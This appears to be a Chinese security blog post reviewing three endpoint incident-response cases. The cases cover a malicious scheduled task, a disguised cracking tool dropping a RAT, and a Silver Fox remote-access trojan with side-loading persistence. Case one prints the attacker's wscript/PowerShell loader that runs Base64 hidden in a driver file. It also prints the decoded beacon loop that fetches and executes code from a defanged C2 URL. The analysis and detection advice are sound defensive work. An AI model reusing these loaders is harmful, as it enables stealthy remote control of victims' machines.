三起应急响应案例复盘:计划任务、伪装程序与银狐远控

前言

从去年护网开始,到今年陆续接到多起终端侧应急工单。本文选取其中三起较有代表性的案例做复盘,重点记录从告警线索、主机排查、样本分析到最终处置闭环的过程。

为便于公开分享,文中涉及的内网地址、设备标识、部分路径和日志字段已做脱敏处理;恶意域名和 URL 仅作为 IOC 展示,请勿直接访问。

案例 初始现象 关键线索 持久化方式 处置结论
案例一 PowerShell 周期性外联 wscript.exe、计划任务、隐藏在驱动文件中的 Base64 脚本 异常计划任务 用户下载并运行未知来源文件后导致终端被控
案例二 办公终端周期性连接 C2 Server_Protected.exe、浏览器下载记录、伪装工具释放链 自启动项 / 释放持久化进程 伪装工具释放远控程序并建立外联
案例三 疑似银狐类远控告警 随机目录载荷、Startup LNK、cmd.exe 守护进程 Startup LNK / 守护进程 银狐类远控通过白加黑和守护机制维持驻留

案例

案例一

2025年护网期间,收到省公司的工单,IP:10.*.*.139有外联动作。
根据外联IP:34.41.139.193找到木马PID:14548

image

根据PID找到发起该请求的可执行文件为powershell.exe,猜测为其他可疑进程启动powershell进行外联。

image
在使用QDoctor进行排查时,发现可疑的计划任务。

image

TaskPath ImagePat Arguments
\Microsoft\Windows\Management\Provisioning\l3VNu\10024F97--5D32-4300-9B58-8718A489CCCB wscript.exe 见下方执行参数

任务计划路径\Microsoft\Windows\Management\Provisioning\ 属于 Windows 的 OOBE(开箱即用体验)Provisioning系统,用于设备首次设置时的自动化配置。

正常情况下,这个路径下的任务是有系统管理员和运维人员进行配置的。名称清晰可读,具备特殊的任务含义,而不会是一段随机不可读的字符串。

可执行文件 wscript.exeWindows 系统自带的合法程序,位于 C:\Windows\System32\wscript.exe,主要用于执行 VBScript 或 JScript 脚本文件(.vbs.js)。

该计划任务后面的执行参数如下:

1
/e:vbscript /b "C:\Windows\System32\LDCl3VNu\506E6B6D-FB69-4076-AD3D-1CB4960A129C" "n; $sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\LTm1HwFLdi\53458C99-2485-42DF-B114-B17668B65928.sys'), 2046404, 422); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command ([Scriptblock]::Create($sc3))"

该代码块的作用为,从2046404位开始读取驱动文件C:\Windows\System32\drivers\LTm1HwFLdi\53458C99-2485-42DF-B114-B17668B65928.sys,读取长度为422

将读取到的数据进行base64解码,最后通过Invoke-Command去执行命令、从而达到恶意效果。

使用 Python 3 模拟上述流程,并解析该数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
import base64

file_path = r'53458C99-2485-42DF-B114-B17668B65928.sys'
offset = 2046404
length = 422

with open(file_path, 'rb') as f:
f.seek(offset) # 移动到指定偏移位置
data = f.read(length) # 读取指定长度的字节
try:
utf8_string = data.decode('utf-8')
print("解码后的字符串:")
print(utf8_string)
print(base64.b64decode(data).decode('utf-8'))
except UnicodeDecodeError as e:
print(e)

执行后得到一串base64编码

image

1
2
3
4
5
6
d2hpbGUgKCR0cnVlKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHIgPSBJbnZva2UtUmVzdE1l
dGhvZCAtVXJpICdodHRwOi8vY291bnRlci53bWFpbC1zZXJ2aWNlLmNvbS92MS8wNDIxMkYy
OC05QzYzLTRCNkItQkI4Ri1FNzAzMUU2RDMyQTg/dj1Eb3dubG9hZHNfQ291bnRlcjIwMScN
CiAgICAgICAgaWYoJHIgLW5lICcnKSANCiAgICAgICAgew0KICAgICAgICAgICAgU3RhcnQt
Sm9iIChbU2NyaXB0QmxvY2tdOjpDcmVhdGUoJHIpKSB8IFdhaXQtSm9iDQogICAgICAgIH0N
CiAgICB9DQogICAgY2F0Y2gge30NCiAgICBTdGFydC1TbGVlcCAyDQp9
1
2
3
4
5
6
7
8
9
10
11
while ($true) {
try {
$r = Invoke-RestMethod -Uri 'hxxp://counter[.]wmail-service[.]com/v1/04212F28-9C63-4B6B-BB8F-E7031E6D32A8?v=Downloads_Counter201'
if($r -ne '')
{
Start-Job ([ScriptBlock]::Create($r)) | Wait-Job
}
}
catch {}
Start-Sleep 2
}

这段恶意代码通过无限循环(while ($true))向 C2 地址发起请求,间隔约 2 秒。如果服务端返回内容不为空,就将返回内容作为 PowerShell 脚本块执行。

IOC 展示如下,已做 defang 处理:

1
hxxp://counter[.]wmail-service[.]com/v1/04212F28-9C63-4B6B-BB8F-E7031E6D32A8?v=Downloads_Counter201

对比工单中的日志内容,也指向同一域名:counter[.]wmail-service[.]com

日志头已脱敏:

1
<158>Jul 02 10:18:56 安全平台 SyslogClient[1]: 2025-07-02 10:18:56|!132.*.*.x|!ioc_alert_log|!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
{
"access_time": 1751422712000,
"tid": 2,
"type": "远控木马",
"rule_desc": "普通远控木马活动事件",
"offence_type": "",
"offence_value": "",
"sip": "10.x.x.139",
"dip": "34.x.x.193",
"severity": 7,
"serial_num": "********",
"rule_state": "green",
"ioc_type": "host",
"ioc_value": "counter[.]wmail-service[.]com",
"nid": "********",
"etime": "2025-02-07 08:32:45",
"malicious_type": "远控木马",
"kill_chain": "general",
"kill_chain_all": "命令控制:0x03000000|混合功能控制:0x03090000",
"xml_confidence": "high",
"malicious_family": "Generic Trojan",
"campaign": "",
"targeted": false,
"tag": null,
"platform": ["Windows"],
"current_status": "unknown",
"packet_data": "<已脱敏:原始 HTTP 请求报文 Base64>",
"ioc_source": 0,
"sport": "5xxx",
"dport": 80,
"proto": "http",
"dns_type": 0,
"filename": "",
"file_md5": "",
"desc": "该家族是一个通用名,当引擎检出结果为恶意但是无法识别出具体的家族分类时(通常是由于病毒使用了一些加壳/混淆/免杀等去掉强特征的手段导致的)会使用这个名字。",
"file_direction": null,
"host": "counter[.]wmail-service[.]com",
"uri": "/v1/{UUID}?v={campaign_tag}",
"dns_arecord": "",
"tproto": "tcp",
"file_content": null,
"attack_ip": "34.x.x.193",
"victim_ip": "10.x.x.139",
"attack_type": "远控木马",
"attack_type_all": "恶意软件:14000000|远控木马:14080000",
"xff": "",
"att_ck_all": "执行:TA0002|用户执行:T1204|恶意链接:T1204.001",
"vlan_id": "",
"device_ip": "132.x.x.164",
"api": "counter[.]wmail-service[.]com/{version}/{UUID}"
}

结合外联告警、计划任务、脚本解码结果和用户侧下载行为,基本可以确认该终端因运行未知来源文件而被植入远控木马。

此时就进入系统任务计划,删除对应计划任务。

image

并删除了木马及配置文件。

通过公开资料检索,发现早在 2022 年就已经出现过类似手法。

公有云攻击的应急响应

image

受害者下载了含有后门的ExcelAnalyzer,并运行了恶意激活程序patch.exe

image

案例二

在护网期间,发现某办公终端约每 5 秒向外部地址 212.64.26.241 通联一次,该行为特征类似 C2 心跳。

上机排查时,发现了疑似恶意的进程。

image

通过外联 IP 212.64.26.241 定位到可疑进程 PID:16956

1
netstat -ano | findstr 8088

image

获取到该进程的可执行文件路径为:C:\Windows\Server_Protected.exe,其文件的修改日期为:2025/6/6 16:30

image

木马文件MD5为:

1
30c83d5994c24a5ecf8e12e026b7ebae

image

微步云沙箱查杀结果:https://s.threatbook.com/report/file/be32324a7cd91c02c22e0ebeb59a1aaae9ad4e46cc617116811f0b2d8e9240eb

image

在对受害员工主机的注册表进行排查时,发现了疑似恶意的自启动注册表键值。

1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

image

在排查过程中一直没办法确定该注册表是通过什么方式添加的,以及无法确定攻击者的攻击手法。

在继续排查 Chrome 浏览器历史访问记录和下载记录时,发现了新的关联线索。

发现疑似恶意木马文件的下载记录,下载日期为2025年6月6日,与发起外连的恶意进程Server_Protected.exe的日期是同一天。

image

读取 Chrome 浏览器中的 SQLite 数据库。

该数据库会记录访问历史和下载记录,其中包含用户下载文件时的开始时间、完成时间等字段。

1
%LocalAppData%\Google\Chrome\User Data\Default\History

image

开始时间戳为

1
13393672204449719

该值长度为 17,是 Chrome History 中常见的 WebKit 时间戳格式,单位为微秒。

Chrome/WebKit 时间戳以 1601-01-01 00:00:00 UTC 为起点,转换时需要先换算到 Unix Epoch,再按微秒单位处理。这里为了快速核对时间,使用在线工具辅助转换。

1
hxxp://daokeyou.top/

image

得到时间为 2025-06-06 16:30:04

与发起外连的恶意进程Server_Protected.exe的时间相对应。因此确定两者关联性。

后续通过该终端使用者获取到恶意样本。

image

通过微步分析 取CK查封号.exe 的执行流程,最终确定 Server_Protected.exe 是由该伪装工具释放出来的持久化进程。

后续处置流程为删除恶意程序、终止恶意进程,并清理相关自启动项。

同类的其他样本https://x.threatbook.com/v5/ip/212.64.26.241

案例三

收到工单后,初始情报指向疑似银狐类远控活动,但缺少更详细的 IOC 和攻击链信息,因此直接对终端进行排查。

通过进程枚举及路径审查,发现运行于非常规目录的可疑进程。该进程的文件描述伪装为 Java 相关信息,实际路径位于用户公共目录下的随机命名文件夹,符合常见恶意软件藏匿特征:

1
C:\Users\Public\Videos\5PStV1eb\uTJhEApp.exe

image

image

将样本提交至微步云沙箱进行情报碰撞,鉴定结论为银狐家族远控木马,且已回连 C2 服务器,符合银狐类黑产远控样本特征。

情报链接:https://s.threatbook.com/report/file/8f33122ca76b4225d4792bf1b9860309bd2696a74963a2544ac66ee66456cbde

image

image

image

分析可执行文件的 DLL 导入表(Import Table),可依据调用模块初步推测其能力方向:

image

DLL 模块 功能分类 可能对应的恶意行为
WS2_32.dll / WTSAPI32.dll 网络通信 + 远程会话 C2 通信、远程桌面会话劫持
ADVAPI32.dll / secur32.dll 系统权限 + 安全操作 提权、注册表读写、凭据访问
ole32.dll / combase.dll COM 组件调用 文件操作、进程注入、持久化
user32.dll / gdi32.dll 用户界面 + 屏幕操作 屏幕截图、键盘记录、窗口控制
advapi32.dll / bcrypt.dll 加密与安全 数据加密回传、C2 加密通信

结合沙箱结论、外联行为和导入表特征,可以判断该样本具备远程控制、权限维持、加密通信等能力迹象。屏幕截图、键盘记录、窗口控制等能力仍需结合动态行为进一步确认。

首先尝试终止恶意进程树,但观察到进程会立即重启,说明攻击者已部署持久化机制或守护进程。

进一步检查开机自启动目录,发现如下恶意 LNK 文件。其创建时间为 2026-03-25 16:36,与载荷目录创建时间接近,可确认为持久化入口:

1
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FaCveHBxNsOogrs.lnkkDOrxBE

image

删除 LNK 自启动文件后,该文件立即被重建。随后使用 Process Monitor 挂载文件系统过滤器,监听该路径下的 CreateFile 事件,捕获到重建该 LNK 的进程 PID 为 11636

image

在任务管理器中回溯 PID 11636,获取到其完整命令行:

1
"C:\Windows\SysWOW64\cmd.exe" "C:\Program Files\SogouInput\15.12.0.2855\lrNqnk81"

image

攻击者利用 SysWOW64 下的 cmd.exe 作为宿主进程,通过合法进程加载名为 lrNqnk81 的载荷。该载荷位于搜狗输入法安装目录,形成白加黑 / DLL Side-Loading 伪装:

image

尝试直接终止该 cmd.exe 守护进程时,发现进程受 TrustedInstaller 服务保护,普通管理员权限无法终止。攻击者通过启动 TrustedInstaller 服务并窃取其令牌,实现了进程保护。

处置方案:以 TrustedInstaller 令牌借用方式(如 PowerRun / NSudo -TI)终止该进程,或先停止 TrustedInstaller 服务后,再终止该 cmd 进程。

image

image

按以下顺序清理,确保持久化链条整体失效:

  1. 终止受 TrustedInstaller 保护的 cmd.exe 守护进程(PID 11636);
  2. 删除 Startup 目录下所有 FaCveHBxNs*.lnk 恶意自启动项;
  3. 终止载荷目录 C:\Program Files\SogouInput\15.12.0.2855\lrNqnk81 下所有 exe 进程;
  4. 删除恶意载荷目录及 C:\Users\Public\Videos\5PStV1eb 整个木马目录;
  5. 验证所有恶意进程不再重启。

在日志流量平台上进行验证

image

结合文件系统 MACB 时间与流量时间对比:

时间节点 时间 含义
最早恶意文件创建 2026-03-24 攻击者初始植入
LNK 自启动项创建 2026-03-25 16:36 持久化部署
首次 C2 回连 2026-03-27 20:57:12 进入 C2 通信阶段

结论:攻击者在植入后进入潜伏期,约 3 天后才激活 C2 通信,疑似用于规避检测或等待后续指令。

总结

这三起事件虽然样本和手法不同,但排查思路基本一致:先从外联告警或可疑进程入手,定位进程、命令行、父子进程关系和落地文件,再继续追踪计划任务、注册表、Startup 目录、浏览器下载记录等持久化与初始执行线索,最后结合流量日志、沙箱结果和主机时间线完成闭环。

IOC 汇总

类型 IOC
域名 counter[.]wmail-service[.]com
URL hxxp://counter[.]wmail-service[.]com/v1/04212F28-9C63-4B6B-BB8F-E7031E6D32A8?v=Downloads_Counter201
IP 34.*.*.193212.64.26.241
MD5 30c83d5994c24a5ecf8e12e026b7ebae
可疑进程 Server_Protected.exeuTJhEApp.execmd.exe
可疑路径 C:\Windows\Server_Protected.exeC:\Users\Public\Videos\5PStV1eb\C:\Program Files\SogouInput\15.12.0.2855\lrNqnk81

排查关注点

  1. powershell.exewscript.execmd.exe 等系统解释器类进程建立父子进程和命令行审计。
  2. 重点关注随机命名目录、公共用户目录、输入法/办公软件目录下的异常载荷。
  3. 排查持久化时同时检查计划任务、Run / RunOnce 注册表、Startup 目录和异常服务。
  4. 对浏览器下载记录、文件创建时间、流量首次出现时间做交叉验证,尽量还原初始执行链路。
  5. 对疑似白加黑样本,不只关注 exe,也要检查同目录下的无扩展名文件、DLL 和被加载的载荷文件。

防护建议

  1. 限制办公终端直接访问未知来源下载站点,增强浏览器下载审计和告警。
  2. wscript.exepowershell.exe 周期性外联、下载执行、Base64 解码执行等行为建立检测规则。
  3. 对计划任务路径、Startup 目录和 RunOnce 注册表新增项进行基线监控。
  4. TrustedInstaller 令牌滥用、异常启动和被借用行为进行安全审计。
  5. 对终端用户加强未知工具、破解工具、外挂工具的安全提醒,降低用户主动执行恶意文件的概率。
Author: jdr
Link: https://jdr2021.github.io/2026/04/28/三起应急响应案例复盘:计划任务、伪装程序与银狐远控/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.